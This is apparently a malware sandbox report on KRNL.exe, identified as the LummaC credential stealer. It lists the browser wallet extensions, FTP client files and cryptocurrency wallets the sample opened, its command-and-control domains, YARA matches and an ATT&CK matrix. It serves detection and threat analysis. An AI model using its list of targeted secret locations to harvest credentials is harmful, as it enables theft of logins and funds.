Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1751845531.00000000033CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: KRNL.exe PID: 2120, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: KRNL.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: 2.2.KRNL.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.KRNL.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	211 Process Injection	3 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	33 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	3 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	211 Process Injection	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
KRNL.exe	40%	Virustotal		Browse
KRNL.exe	68%	ReversingLabs	Win32.Trojan.LummaC
KRNL.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://steambroadcast-test.akamaizedk	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/k	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apiul	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/pi#	100%	Avira URL Cloud	malware
https://login.steampK	0%	Avira URL Cloud	safe
https://help.st	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/m/S	100%	Avira URL Cloud	malware
https://checkout.steampow	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
cashfuzysao.buzz	unknown	unknown	false	high
scentniej.buzz	unknown	unknown	false	high
inherineau.buzz	unknown	unknown	false	high
prisonyfork.buzz	unknown	unknown	false	high
206.23.85.13.in-addr.arpa	unknown	unknown	false	high
rebuildeso.buzz	unknown	unknown	false	high
appliacnesot.buzz	unknown	unknown	false	high
hummskitnj.buzz	unknown	unknown	false	high
mindhandru.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/s	KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1751845531.00000000033CD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.	KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steambroadcast-test.akamaizedk	KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/k	KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.entrust.net/rpa03	KRNL.exe	false		high
https://lev-tolstoi.com/	KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/m/S	KRNL.exe, 00000002.00000003.1699633987.0000000003342000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/points/shop/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/pi#	KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	KRNL.exe, 00000002.00000003.1723581632.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1712083330.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1712222118.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1723494603.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KRNL.exe, 00000002.00000003.1737899780.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	KRNL.exe, 00000002.00000003.1712083330.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampK	KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	KRNL.exe, 00000002.00000003.1712222118.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.st	KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	KRNL.exe	false		high
https://store.steampowered.com/;	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.entrust.net/rpa0	KRNL.exe	false		high
https://store.steampowered.com/about/	KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
